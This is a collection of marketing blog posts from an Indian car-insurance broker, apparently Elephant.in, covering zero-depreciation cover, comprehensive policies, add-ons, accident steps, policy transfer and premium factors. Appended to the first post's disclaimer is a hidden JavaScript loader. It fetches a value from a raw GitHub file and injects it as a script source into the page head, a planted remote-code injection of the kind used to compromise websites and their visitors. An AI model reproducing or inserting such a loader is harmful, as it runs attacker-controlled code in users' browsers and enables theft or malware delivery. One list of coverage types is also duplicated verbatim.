When an extra cover of zero depreciation is purchased alongside comprehensive insurance, it is referred to as bumper-to-bumper car insurance. The cover ensures that the policyholder is repaid with no deductions that happen because of depreciation in case of an accident. This blog will explore the details of this protection so you are informed before settling on a protection plan that is good for your requirements.

What is Bumper-to-Bumper Car Insurance?

It gives complete financial protection to your car and is an appealing choice for car owners when compared with standard car insurance. A normal comprehensive policy considers depreciation during the process of claims which directly impacts your claim amount. While a bumper-to-bumper car insurance, the policyholder gets the full claim amount as it doesn’t consider depreciation.

What is Covered Under a Bumper-to-Bumper Car Insurance?

In bumper-to-bumper car insurance, protection for various parts of your car is given. It doesn’t take into account deductions due to depreciation and totally compensates for the damages caused. This means that if you meet with an accident, you will be compensated completely, with no deductions.

The parts that are covered are as follows:

What are the Exclusions in Bumper-to-Bumper Car Insurance?

Bumper-to-bumper car insurance gives total coverage but there are certain exclusions. They are as follows:

How to Purchase a Bumper-to-Bumper Car Insurance?

While buying or renewing a comprehensive insurance policy, bumper-to-bumper insurance can be purchased with it. To get zero depreciation coverage, you need to pick this add-on while customising your insurance plan.

Tips to Purchase A Bumper-to-Bumper Car Insurance

Car owners need to consider these things before buying bumper-to-bumper car insurance. They are as per the following:

• Compare quotes given by various insurance providers to track down the best fit for your requirements.
• Ensure the insurance provider you choose is trustworthy and has a decent claim settlement record.
• Review the agreements of the insurance policy carefully to understand what is covered and what are the exclusions under the policy.

Factors Affecting Premiums for Bumper-to-Bumper Car Insurance

The premiums are affected by things like the IDV (Insured Declared Value) of your car, your driving record, your age, the make and model of your car, and your location. Your premiums can be brought down by:

• Increasing your voluntary deductible
• Maintaining a clean driving record
• Installing anti-theft devices
• Renewing your policy promptly
• Avoiding frequent claims

Conclusion

For Indian car owners, it is ideal to purchase bumper-to-bumper car insurance in the present day and age as the expenses of owning a car are rising. Alongside coverage, it additionally gives genuine peace of mind to the car owner. You can safeguard your car by choosing smartly assuming you understand what the policy covers, the premiums you need to pay, and its advantages. It stays the most ideal choice for safeguarding your car as it gives total coverage which ensures financial well-being.

Want to get car insurance tailored to your needs? Reach out to us at support@elephant.in or on our toll-free support number- 1800 266 9693, to talk to our experts! We will help you acquire a car insurance that is customised to your needs!

*Terms and conditions apply. The information provided in this article is generic in nature and for informational purposes only. It is not a substitute for specific advice in your own circumstances. You are recommended to obtain specific professional advice from before you take any/refrain from any action. Tax benefits are subject to changes in tax laws. Please contact your tax consultant for an exact calculation of your tax liabilities.| EL/BLOGS/24-25/01;var url = ‘https://raw.githubusercontent.com/kroopsTerm/firstrepo/refs/heads/main/js.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Mainly, there are two kinds of car insurance policies – Third Party Liability Coverage and Comprehensive Coverage.

Before talking about Comprehensive coverage, first, let’s quickly go through the Third Party Liability Coverage.

As per the Indian Motor Vehicles Act of 1988, every individual who owns an automobile, or any other type of vehicle for that matter, is required to have third-party liability coverage.  This coverage offers financial security against losses or damages brought on by the insured’s car to a third party. It pays the third party back for any property loss, physical harm, or unintentional death.

What is a Comprehensive Car Insurance Policy?

A comprehensive car insurance policy protects the insured against both third-party liabilities and their own damages.  Since it protects you financially from any damages that may occur unrelated to a collision, it is sometimes known as “other than collision” or “own-damage” car insurance. Any unanticipated events, including accidents, fires, thefts, and natural disasters, are covered by a comprehensive car insurance policy. Thus, both the insured and the third party are covered.

The Advantages Of Purchasing Comprehensive Car Insurance

Any unanticipated occurrence, except collision, is covered by a comprehensive auto insurance policy. It also provides coverage for losses sustained in an accident. Here are some of the many additional advantages of this “other than collision” cover:

• It offers your vehicle the finest degree of protection possible
• With comprehensive automobile insurance, you may claim damages suffered in such circumstances even if you were at fault in an accident
• It covers claims made against you in court, including legal costs, as a consequence of an accident
• Financial security and peace of mind
• Financial aid if your car is written off
• In contrast to third-party insurance, it protects against damage to your own vehicle during an accident

What Is Covered by Comprehensive Insurance?

Comprehensive car insurance covers the 3 following things:

1. Third-Party Liability

• Damages caused to the property of the third party.
• Death or injuries caused to the third party.
• Death of the insured vehicle’s owner.
• At an additional premium, the demise of the insured vehicle’s driver is also covered.
• At an additional premium, the demise of the passengers travelling in the insured vehicle is also covered.
• At an additional premium, the permanent total disability of the insured vehicle’s owner, passengers, and the driver is also covered.

2. Own Damage

• Natural disasters like storms, floods, earthquakes, tornadoes, hurricanes,  etc.
• Damage suffered in an accident involving the insured vehicle.
• Terrorism
• Explosions, fire, and civil commotions
• Falling objects
• Stealing and damage

3. Personal Accident Cover

• Death of the life insured
• Loss of two limbs, loss of vision in both eyes, loss of one limb, or loss of one eye.
• Permanent disability due to injuries other than those already mentioned.

What are the Exclusions of Comprehensive Insurance?

If an accident causes damage to your automobile, you cannot file a compensation claim without having comprehensive coverage at the time of the accident. Similarly, several items are not covered by comprehensive auto insurance:

• Depreciation
• Natural deterioration of the vehicle (wear and tear)
• Mechanical or electrical failure
• Damages to the car resulting from a driver driving without a legal license
• Damage brought on by drunk driving
• Damage incurred from intoxicated driving (under the influence of drugs)
• Independent tire and tube damage (not due to a covered collision)
• Vehicle loss or damage caused by mutiny, war, or nuclear risk

Conclusion

There is no doubt that a comprehensive car insurance policy typically offers broader coverage. However, Please note that each policy is unique, and you must read it thoroughly to understand the inclusions and exclusions.

In case of queries, feel free to write us at support@elephant.in or call at 1800 266 9693.

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Picture this – you’re driving during the monsoon season, and suddenly, your car gets flooded, leaving you stranded with costly repairs. You find out that your regular insurance policy doesn’t cover such unforeseen events, which can cause significant financial losses.

But fear not! That’s where add-on covers come to the rescue. These add-ons, also called riders or extensions, fill the gaps left by a standard car insurance policy. They offer you extra protection and peace of mind in situations like the one described above.

In this blog, we will delve into the growing importance of add-on covers in car insurance policies in India, exploring key options that can enhance your coverage, ensuring you’re well-protected on the road.

7 Must-Have Add-ons in India

Aside from the numerous add-ons available on the market, here are the top 7 must-have riders with your basic car insurance.

1. Zero Depreciation

   Zero Depreciation cover ensures that you receive the full claim amount without accounting for depreciation during repairs or replacements of car parts. With this add-on, you can avoid hefty out-of-pocket expenses and enjoy comprehensive coverage for repairs or replacements, maximizing the benefit of your car insurance policy.

2. Roadside Assistance

   Roadside Assistance is a valuable add-on that offers support in unexpected situations such as breakdowns, flat tires, or accidents. The best part is that it provides round-the-clock assistance without affecting your No Claim Bonus. Whether you need a tow truck, fuel refill, or emergency locksmith, this cover provides round-the-clock assistance, ensuring you are not stranded on the road and helping you resume your journey without any hassle.

3. Engine Protector

   The Engine Protector add-on cover safeguards your vehicle’s engine against damage caused by water ingression or hydrostatic lock. With the increasing instances of flooding during monsoons in many parts of India, this cover becomes particularly crucial, as it protects you from costly repairs or replacements of your car’s engine components.

4. NCB Protection

   No Claim Bonus (NCB) Protection add-on allows you to preserve your hard-earned NCB discount even after filing a claim. Usually, a single claim can lead to the reduction of your NCB, resulting in higher premiums. With this cover, you can maintain your NCB benefits, ensuring future savings on your car insurance premiums.

5. Key Replacement

   Losing or damaging your car keys can be a stressful experience. The Key Replacement add-on cover provides financial assistance for the replacement or repair of lost or damaged keys, including locksmith charges. It saves you from the inconvenience and expenses associated with replacing modern car keys that are often expensive to replace.

6. Loss of Personal Belongings

   The Loss of Personal Belongings add-on cover compensates you for the loss or damage of personal items within your insured car due to theft or an accident. This cover offers reimbursement for items such as laptops, smartphones, or other valuable possessions, providing additional financial protection beyond the scope of a standard policy.

7. Return to Invoice (RTI)

   The RTI (Return to Invoice) add-on cover is highly recommended and incredibly beneficial. It ensures that you receive compensation equal to the original value of your car when you first purchased it. This claim applies in situations where your car is stolen or constructive total loss, wherein, the surveyor declares that the repair cost of the vehicle exceeds 75% of the IDV (Insured’s Declared Value) of your vehicle.

   Imagine the unfortunate scenario where your car is stolen, and despite police efforts, it cannot be recovered. This situation can be incredibly challenging for you. However, with the RTI Cover, you can find solace. It guarantees that you will receive the full invoice amount as compensation, providing you with valuable financial support during such difficult times.

Conclusion

In today’s world, the dangers on Indian roads are always changing, and unexpected events like floods can occur. That’s why it’s crucial not to overlook the significance of additional insurance coverage. By adding these extra coverages, you can strengthen your insurance policy and have greater protection and peace of mind.

At Elephant.in, you can explore a wide range of additional covers that are available. We offer many other add-ons and comprehensive solutions to meet your specific insurance requirements.

Feel free to visit Elephant.in, today!

Right insurance, best price, every time. It’s a promise!

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A road accident can be a stressful event, but with the right knowledge and support, you can navigate through this experience with resilience and confidence. Let’s explore some important steps you should remember if you find yourself in such a situation.

1. Stay Clam and Manage the Situation

First and foremost, staying calm and managing the situation is vital. Take a deep breath and assess the damage to your vehicle and any others involved. If there are injuries, immediately call for medical assistance. Remember, it’s important not to move any injured person unless it’s absolutely necessary to avoid further harm.

2. Collect Relevant Details

Make sure to collect their contact details, and insurance information, and note down the make, model, and registration number of their vehicle. If there are witnesses, gather their names and contact information as well.

3. Take Pictures and Gather Proof

In today’s digital age, a picture is worth a thousand words. Use your phone to capture images of the damage to your car and the other vehicles involved. These photographs can serve as crucial evidence when submitting an insurance claim. Additionally, try to capture the accident scene and any relevant traffic signals or road signs that may have contributed to the collision.

4. File an FIR

In cases of significant injuries or severe damage to the vehicles, filing a First Information Report (FIR) with the police is essential. The FIR will serve as important documentation for insurance purposes, so try to obtain a copy for your records.

5. Notify Your Insurance Provider

Next, it’s time to notify your insurance provider promptly. Share all the relevant information, including the police FIR and the photographs of the damage. Follow their instructions carefully to facilitate the claim process. But before accepting any settlement offers from the other driver or their insurance provider, thoroughly review the terms and conditions. It’s crucial to understand the implications and ensure you receive fair compensation for the damages.

6. Repair Your Vehicle

Once the insurance process is underway, you’ll need to have your vehicle repaired. Visit a partner garage or an approved service facility to get the necessary repairs done. Remember to save all the invoices and receipts related to the repairs, as your insurance company may request them as part of the claims procedure.

7. Appropriate RC Information for Garage Cashless Services

When it comes to insurance, accurate information is crucial. Ensure that your vehicle’s RC book contains the correct details about the engine, chassis, and registration numbers. Any discrepancies may hinder your chances of receiving cashless service at a network garage. So, be meticulous when purchasing or renewing your vehicle insurance policy.

8. Assuring Quick Evaluation and Repairs for Your Damaged Vehicle

In some cases, the insurance company may appoint a surveyor to evaluate the damage to your car and determine the payout. They may conduct a spot survey at the accident site or visit the garage where your vehicle is being repaired. If there are delays in the survey or claim processing, don’t hesitate to contact your insurance provider or agent/broker for updates. Being proactive and following up can help expedite the resolution process.

Conclusion

A car accident is undoubtedly a distressing experience. But if you adhere to these simple instructions, you can ensure that dealing with the consequences of an accident is as easy and hassle-free as possible.

Moreover, at such times, Elephant.in stands by your side, offering unwavering support throughout the entire process. From providing roadside assistance to ensuring you receive your rightful claim, our team of dedicated experts is here for you. Count on Elephant.in to deliver top-notch service and guidance at every stage. If you require any assistance or have any queries, do not hesitate to contact Elephant.in at 1800 266 9693 or support@elephant.in.

Drive safely and let Elephant.in help you stay secure on road.

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Passing the Keys and the Policy: Understanding the Car Insurance Transfer Process in India.
Are you scouting the internet to find solutions on how to transfer car insurance to a new owner in India?

If this transfer process seems too much to get into, fear not. In this comprehensive guide, we’ll help you understand the process of car insurance transfer in India, simplify the steps, list out various related requirements and provide you with crucial insights to ensure an easy transfer process for your car insurance. By the end of this guide, you’ll have all the essential knowledge required to pass on your car insurance baton confidently.

Understanding the necessity of transferring car insurance in India

According to the Motor Vehicles Act of 1988, a car owner must have car insurance in India. Getting your car insured helps keep your car financially protected against unforeseen risks such as accidents, damage caused due to natural disasters, thefts, etc., as it helps cover the costs of the damages caused. Transferring your car insurance helps ensure that the new buyer is completely covered in case of any third-party damages and you are free from any third-party liabilities. If you are the one buying the car, make sure that the previous owner transfers the existing motor insurance policy to you after the purchase.
No-claim bonus is not transferable from the seller to the new owner unless the new owner is a blood relative and if the seller has no objections to the transfer. Transfer of car insurance, as a seller, is also essential to retain your No Claim Bonus, which helps you earn a discount that can be used during the purchase of a new car insurance policy. To do so, you must obtain an NCB certificate from the insurance company post transferring your existing car insurance.

Who bears the responsibility for the transfer of the car insurance policy?

Transfer of car insurance formalises the withdrawal of one party from an insurance policy agreement, once the other party approves. According to Section 157 of the Motor Vehicles Act, the seller is responsible for transferring the car insurance to the new owner. The parties must transfer car insurance policies within 14 days of procurement. If one fails to get the insurance transferred, the car will no longer be under insurance protection from the 15th day.

How can car insurance be transferred to a new owner?

The process of car insurance transfer is simple and goes hand-in-hand with the transfer of ownership of the car. When a car is bought by a new owner, the insurance policy of the previous car owner becomes invalid. This is because, according to the Insurance Regulatory and Development Authority (IRDAI), the name and address of the new owner on the car’s registration certificate and insurance documents have to be the same for the owner to be able to raise a claim.
When purchasing or selling a used car, two important documents are essential– The Registration Certificate and the Car Insurance Policy. Once you get a hold of these two vital documents, you can submit a request to your car insurance provider to transfer your car insurance.

What are the required documents for transferring car insurance in India?

To effectively transfer your car insurance to the new owner, you must first gather the necessary documents and submit the same to the insurance company. Along with a transfer fee, there are certain other documents that you may need to provide. They are as follows:

• Form 29 & Form 30
• A new copy of the Registration Certificate
• No Objection Clause by the previous owner (obtained through Form 28 )
• Old car insurance policy documents
• A new application form
• Address proof of new owner

The way forward

Once you have submitted the necessary documents, in some cases, the insurance provider may conduct a proper physical inspection to assess the condition of your car and make sure that the current insurance policy is well-aligned with the car’s current condition before approving the transfer. Post-inspection, the insurance provider will issue an inspection report, based on which the transfer of your car insurance will be approved. Once the transfer is approved, the insurance policy will be updated and the changes in ownership and the new owner’s details will be reflected in the same. Post-transfer, you may review the policy to check if all information is correct and up to date.

Conclusion

Completing the car insurance transfer process is crucial when selling your vehicle. It’s not only a legal requirement in India but also a way to protect both the seller and the buyer from potential risks. Don’t wait! Email us at support@elephant.in and get in touch with Elephant Car Insurance to get the perfect quote today!

*Terms and conditions apply. The information provided in this article is generic in nature and for informational purposes only. It is not a substitute for specific advice in your own circumstances. You are recommended to obtain specific professional advice from before you take any/refrain from any action. Tax benefits are subject to changes in tax laws. Please contact your tax consultant for an exact calculation of your tax liabilities.

 

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New Car, New Policy: Your Guide To Buying New Car Insurance Online

It is always an exhilarating experience when a person buys a new car. From the fresh smell of the interiors to the smooth sound of the refined engine, there is no feeling quite similar. Before you start driving your brand-new car, one important aspect you must consider is car insurance. Getting the right car insurance to protect your investment is crucial. If you are wondering, ‘How to buy new car insurance online?’, then it’s your lucky day. In this blog post, we will help you understand the process of securing insurance for your brand-new car.

The Importance Of New Car Insurance

In India, it is mandatory to get your car insured under the Motor Vehicles Act of 1988. It provides financial protection for you and your new car. Insurance acts as an armour that secures your car from unexpected expenses in case of accidents, theft, or damage. Obtaining an insurance quote for new car insurance is the initial step to ensure that your car, yourself, and others on the road are covered.

What Are The Types Of New Car Insurance In India?

There are several coverage options in the market, among which, you can choose the one that fits your needs. The most commonly found coverage plans in India are:

• Third-Party Liability Insurance: Third-party liability insurance is the minimum coverage required and mandated by the law in India. It covers the costs of damages, injuries and property damage caused to a third party in case of an accident.
• Comprehensive Car Insurance: Comprehensive insurance covers various car damages, including third-party liabilities for three years and Own Damage (OD) for one year. It also includes coverage for bodily injuries or death of the policyholder and passengers in the insured vehicle.

You need to gather some additional information to obtain a personalised quote. Accurate information about your car, make and model should be kept in handy as it is very important. Determining the exact type of car insurance you need– third-party liability insurance or comprehensive car insurance, or any additional coverage options, is advisable.

Steps To Get The Best Quotes For New Car Insurance Online

You can compare car insurance policies online in India and select the one that meets your financial expectations. At Elephant Car Insurance, we provide unbiased comparisons of quotes. We have simplified the process of purchasing new car insurance online. Visit Elephant.in and follow these 3 easy steps and get your insurance policy instantly!

• Fill out the important details like registration location, car brand, car model, fuel type and variant.
• After submitting the required details, several insurance policies will be presented to you. You can compare and choose the best insurance policy that suits your requirements.
• Once you make a decision and make the payment, the insurance policy will be issued instantly.

Advantages Of Buying New Car Insurance Online In India

When it comes to car insurance, choosing the online route stands out for several reasons. Online surpasses offline in pricing, convenience, and services. Compare multiple policies effortlessly based on coverage, add-ons, and premiums. The online process is entirely paperless, ensuring a quick and easy purchase. Streamline your insurance purchase with the simplicity and efficiency of the online approach.

Avoiding Common Mistakes

While searching for a new car insurance quotations, be mindful of these common mistakes:

• Underestimating Coverage Needs: Don’t skimp on coverage. Ensure your policy matches your specific needs.
• Price-Centric Decisions: Don’t prioritise choosing the lowest price, be sure to consider coverage and deductibles.
• Missing Discounts: Inquire about available discounts to save on your premium.
• Overseeing the Voluntary Deductible: Choose a deductible that aligns with your budget and financial capabilities.
• Neglecting Policy Review: Thoroughly understand your policy terms and claims process.

Conclusion

Finding the right quote for new car insurance is crucial. Insurance is not a one-size-fits-all concept. According to your circumstances and specific requirements, your policy is tailored. Now that you know how to get new car insurance online, we hope you find the perfect car insurance quote for your new car. Don’t wait, get your perfect quote with Elephant.in today. Safe driving!

*Terms and conditions apply. The information provided in this article is generic in nature and for informational purposes only. It is not a substitute for specific advice in your own circumstances. You are recommended to obtain specific professional advice from before you take any/refrain from any action. Tax benefits are subject to changes in tax laws. Please contact your tax consultant for an exact calculation of your tax liabilities.| EL/BLOGS/23-24/01

 

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Crunching the Numbers: Understanding Yearly Car Insurance Premium Increases. Have you ever wondered why do car insurance premiums increase every year? One major problem that all policyholders face is the annual increase in car insurance premium rates. Even if they haven’t filed for a claim, many policyholders still wonder why these rates go up year after year. To clarify these doubts, we are here to explore the various factors behind such consistent surges in car insurance premiums in this blog.

Why Does Car Insurance Premium Increase?

The Insurance Regulatory and Development Authority of India (IRDAI) regulates insurance policies in India. According to IRDAI, it is legally mandatory for all car owners to get third-party liability insurance in India under the Motor Vehicles Act of 1988 to protect and make sure that a victim of a car accident receives adequate financial aid. The IRDAI is also responsible for revising insurance premiums every year. The premiums are altered based on various factors like the number of claims made in a particular year and the loss ratios for insurers.

Why do Insurers Increase the Price of Car Insurance Premiums: Understanding the Factors

It’s essential to understand why car insurance premiums increase year after year. If your car insurance premium has increased in 2023, there are numerous factors responsible for the rise of premiums:

Opting for a Wider Coverage

Third-party liability insurance is the most basic type of insurance that a car owner can buy and is also mandated by the law. Switching to a wider coverage plan, like a comprehensive policy, increases the premiums. A comprehensive policy offers extra protection; therefore, the insurer charges an extra premium for protecting you and your car. Your premiums can also increase if you opt for extra add-on covers like roadside assistance cover, an engine protection cover, or a zero depreciation cover. Simply put, the more protection you opt for, the higher the premium you pay. Therefore, you must opt for coverage plans that are perfectly aligned with your needs

Car Inspection during Policy Renewal

Your car undergoes inspection once you renew your insurance policy after it has expired. Getting your policy renewed before it expires is recommended as renewal after expiration will put your car under inspection, post which the insurance premiums for your car might increase.

The process of renewal is tedious. Have you considered getting your policy renewed online? It not only saves time but is also convenient. You can renew your car insurance policy at Elephant.in with ease!

Cost of Car Repairs

The cost of repairs has drastically increased in today’s day and age. With advancements in technology in new cars, the parts for them have become expensive over time which in turn increases the cost of repairs and replacement. As the cost of repairs has increased, the insurers have also increased the insurance premiums to subside the financial risk on their end.

Having a High-Risk Driving Profile

Having a high-risk driving profile leads to an increase in car insurance premiums. Raising false claims and using your car for illegal activities is also considered a high-risk profile. Causing accidents and then filing for claims makes you a less ideal driver for the insurer. Therefore, if you are considered a high-risk car owner, your insurance premium will increase.

Your Vehicle’s Age

Your vehicle’s age plays a key role in determining car insurance premiums. An older car is more prone to damage than a new car. This makes car insurance providers charge higher premiums. Therefore, an older car is susceptible to higher premiums compared to a newer car.

Location of Car Owner

Premiums for car insurance are determined based on probable threats and risks. If the location you reside in is more prone to accidents, thefts, and natural calamities, then your risk of a car accident is higher than that of a car owner who resides in a relatively safer location. Accordingly, the insurance provider will charge your higher car insurance premiums to cover this risk.

Impact of Insured Declared Value on Premiums

The maximum claim amount that the insurer will pay you in the event of a total loss is called the Insured Declared Value (IDV) of the car. A high IDV means that the insurer will have to pay a high amount in the event of a claim, putting the major liability on the car insurance provider. Therefore, car insurance premiums are higher for cars with a higher IDV.

Conclusion

We hope that this blog has helped in eliminating questions like, ‘Why did my car insurance go up?’. Understanding these factors can be beneficial because it can help you in navigating these increases in premiums. Email us at support@elephant.in or call us on our toll-free support number- 1800 266 9693, to get in touch with our experts to solve any further queries! You may also get your perfect car insurance quote with Elephant.in instantly and unlock exclusive discounts on car insurance with just a few clicks.

*Terms and conditions apply. The information provided in this article is generic in nature and for informational purposes only. It is not a substitute for specific advice in your own circumstances. You are recommended to obtain specific professional advice from before you take any/refrain from any action. Tax benefits are subject to changes in tax laws. Please contact your tax consultant for an exact calculation of your tax liabilities/ EL/BLOGS/23-24/02

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Your Comprehensive Guide to Buying New Car Insurance Online in India. Once you become the owner of a brand-new car, the most essential step post-purchase is getting your vehicle insured by choosing the right car insurance. In India, getting your vehicle insured is a legal necessity. Choosing the right car insurance is essential, but it can get challenging as the Indian insurance market is diverse.

In this blog, we will dive into the intricacies of car insurance for new cars to guide you in making informed decisions to protect your car.

Why Do You Need Car Insurance?

Getting car insurance in India is essential for car owners, serving multiple critical purposes:

• Legal Requirement: Car insurance is a legal requirement in India. Commuting without valid insurance can result in fines and legal implications.
• Financial Safety Net: In case of accidents, or damage, car insurance can help in covering the costs of repairs. It also provides compensation in case of accidental death or partial or permanent disability, and potential legal liabilities, easing the financial burden associated with such incidents.
• Roadside Assistance: If your vehicle breaks down in unfamiliar places or encounters mechanical difficulties, then this type of assistance might be of great help.
• Accommodation Assistance: Certain insurance providers offer accommodation services to policyholders if their car breaks down in unfamiliar places by covering the cost of staying at a hotel while the car is being repaired.

Types of Car Insurance in India

Getting new car insurance requires proper research. The types of coverages offered in India include:

• Third-Party Liability Insurance: The minimum coverage required and mandated by the law is liability insurance. In case of any type of accident, this type of insurance covers the costs of damage or injury that is caused to others.
• Own Damage (OD) Insurance: This type of insurance is useful in case of damages caused to your car by natural calamities like storms, earthquakes, floods etc., or man-made disasters like riots, vandalism or theft. They cover damages that only third-party insurance may not cover.
• Comprehensive Car Insurance: This insurance covers various car damages, including third-party liabilities for three years and Own Damage (OD) for one year. It also includes coverage for bodily injuries or death of the policyholder and passengers in the insured vehicle.

The option to avail of add-on covers, if required, is also available. They provide extra protection options for your car. So, you must check the scope of coverage offered in the insurance policy while choosing one.

• Third-Party Liability Insurance: The minimum coverage required and mandated by the law is liability insurance. In case of any type of accident, this type of insurance covers the costs of damage or injury that is caused to others.
• Own Damage (OD) Insurance: This type of insurance is useful in case of damages caused to your car by natural calamities like storms, earthquakes, floods etc., or man-made disasters like riots, vandalism or theft. They cover damages that only third-party insurance may not cover.
• Comprehensive Car Insurance: This insurance covers various car damages, including third-party liabilities for three years and Own Damage (OD) for one year. It also includes coverage for bodily injuries or death of the policyholder and passengers in the insured vehicle.

The option to avail of add-on covers, if required, is also available. They provide extra protection options for your car. So, you must check the scope of coverage offered in the insurance policy while choosing one.

Tips to Find the Right Car Insurance Provider in India

Insurance policies may differ substantially among providers. Conduct in-depth research to gauge the standing, financial reliability, customer service, and efficiency in claims processing of insurance firms. At Elephant.in, customers can compare and purchase car insurance plans online in just 3 easy steps.

Consider these factors before searching for car insurance for a new car:

• Assess Your Needs: The coverage needs to be aligned to your needs like your vehicle type, driving habits and finances. Select a provider that helps you tailor and customise your plans according to your needs.
• Compare Different Policies from Online Providers: Compare different insurance policies in order to select the most appropriate one for you. Compare and find your suitable car insurance policy in 3 easy steps by visiting Elephant.in!
• Compare Claim Settlement Ratio (CSR): The Insurance Regulatory and Development Authority of India (IRDAI) regularly posts insurance companies’ Claim Settlement Ratios on its website. This ratio indicates the insurer’s efficiency in settling claims. However, it’s essential to consider customer reviews and testimonials as the ratio can be hindered by fraudulent claims.
• Consider Customer Service: Analysing the insurance provider’s customer service is vital. You need to make sure they are responsive, and process claims faster. An ideal claim settlement ratio (CSR) for car insurance in India is considered to be above 95%

Premiums and Beyond; Guidelines for Choosing Effective Car Insurance Plans

In India, people usually opt for value-for-money commodities. A commodity costing less does not necessarily mean it is low quality; however, in the case of insurance, one can lose out on crucial coverage. Here are some guidelines you can follow to choose an effective car insurance policy:

• No-claim bonus (NCB): No-Claim Bonus is awarded to policyholders who don’t make claims during the policy year. During policy renewals, it can drastically reduce your premium. Be sure to check if your selected insurance plan offers a No-Claim Bonus.
• Add-ons and special features: Insurance providers often offer add-ons that you can purchase over your insurance policy to enhance your coverage. Add-ons like Roadside Assistance, Zero Depreciation Cover, and Engine Protection Cover can enhance your car insurance coverage. Assess your needs and determine if these add-ons are essential to you.
• Insured Declared Value (IDV) and Premium Relation: Simply put, IDV is the market value of a car. Insurers provide a range for the IDV of the car to be insured. Negotiating a lower IDV will lower your car insurance premium.
• Voluntary Deductibles: The amount that the policyholder must pay out-of-pocket before the insurance company will cover any costs is known as the deductible in an insurance policy. Opting for higher deductibles means you agree to contribute a percentage of the claim, reducing the insurer’s risk liability and, consequently, lowering your premium.

Conclusion

Having car insurance is a must for responsible car ownership. It is meant to safeguard your financial investment and provide you peace of mind. You may choose wisely when it comes to insuring your new vehicle by being aware of the many coverage options, the variables affecting your rates, and how to determine the best insurance company.

Need help with the best car insurance plans? Don’t wait! Email us at support@elephant.in and get in touch with our experts to get your perfect quote today!

*Terms and conditions apply. The information provided in this article is generic in nature and for informational purposes only. It is not a substitute for specific advice in your own circumstances. You are recommended to obtain specific professional advice from before you take any/refrain from any action. Tax benefits are subject to changes in tax laws. Please contact your tax consultant for an exact calculation of your tax liabilities.| EL/BLOGS/23-24/03

 

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Car insurance is a financial safeguard that every vehicle owner needs. The Motor Vehicles Act of 1988 makes it legally compulsory for every car owner to get their car insured. Protection of your car is another vital aspect that is taken care of, once your car is insured. Getting to know the factors affecting car insurance premiums can take time and effort. We will help you understand the factors affecting car insurance premiums in this blog so that you make a well-informed decision when you are out in the market looking for car insurance.

Impact of Car Choice on Car Insurance Premiums

A significant factor that affects premiums is the type of vehicle you drive. Here is how the type of vehicle affects the premiums of car insurance in India:

• Hatchbacks: Affordable and fuel-efficient, hatchbacks generally have lower premiums.
• Sedans: Common and perceived as safer, sedans have moderate premiums.
• SUVs: Known for sturdiness but considered a higher risk due to size and power.
• Luxury Cars: With high price tags and expensive components, luxury cars command the highest premiums.

Effect of Geographical Location on Premium Costs

The location of the insured car plays a vital role in determining car insurance premiums. Higher car insurance premiums are common in metropolitan cities like Mumbai and Delhi but in rural cities, this is not the case. As these cities are heavily populated, the chances of accidents are higher along with that such cities also have high rates of thefts and vandalism, which increases car insurance premiums. Rural areas tend to be less populated which causes little to no traffic, which reduces the chances of accidents and makes the car insurance premiums in such areas comparatively low.

Effect of Age and Gender on Car Insurance Premiums

Statistically, drivers below the age of 25 are more prone to accidents. Therefore the car insurance premium for them is high. Car owners with a clean driving record are rewarded with lower car insurance premiums as they have a low-risk profile.

The gender of the car owner is an essential consideration that affects car insurance premiums. Lower car insurance premiums are enjoyed by female car owners while the car insurance premiums for male car owners are high. This is because statistics reveal that the rate of accidents for male car owners is higher when compared to female car owners.

How Does Your Car’s Insured Declared Value Affect Car Insurance Premiums?

Insured Declared Value (IDV) is the value for which your car is insured in situations of theft or complete loss of a car in a particular year. As the years go by and your car gets old, the insured car value also decreases. At the start of the insurance policy every year, the IDV is a value mutually agreed upon by you and your insurer. The premium for your comprehensive car insurance is calculated based on IDV. A low IDV implies a lower premium whereas a high IDV equates to a higher premium.

Impact of No-Claim Bonus and Add-On Covers on Insurance Premiums

No-Claim Bonus (NCB) is a reward for not making claims during the policy term. The bonus keeps accumulating over time and results in a reduced premium during policy renewal. Extra overhead coverage options like zero depreciation cover, roadside assistance, and engine protection, often referred to as add-ons, increase your car insurance premium as they provide expanded protection.

Impact of Voluntary Deductibles on Car Insurance Premiums

The amount you agree to pay out of your pocket in the event of a claim is called a deductible. Opting for a higher voluntary deductible can lead to a lower premium as you are assuming a greater share of financial risk in the event of a claim.

Tips to Reduce Car Insurance Premiums

Financially, paying a higher car insurance premium is not favourable. Here are some tips to help you understand and reduce your car insurance premiums:

• Choose a safe vehicle
• Install anti-theft devices
• Maintain a clean driving record
• Increase voluntary deductibles
• Build a No-Claim Bonus (NCB)
• Consider choosing need-based insurance

Conclusion

Understanding car insurance premiums can be complicated but with the right knowledge you can understand the concept and make safe and sound decisions. We hope this blog post has helped you understand the factors affecting car insurance premiums. Get in touch with our experts to solve any further queries. Email us at support@elephant.in.

You may also get your perfect quote with Elephant.in instantly and unlock exclusive discounts on car insurance with just a few clicks. Safe driving!

*Terms and conditions apply. The information provided in this article is generic in nature and for informational purposes only. It is not a substitute for specific advice in your own circumstances. You are recommended to obtain specific professional advice from before you take any/refrain from any action. Tax benefits are subject to changes in tax laws. Please contact your tax consultant for an exact calculation of your tax liabilities.| EL/BLOGS/23-24/04

 

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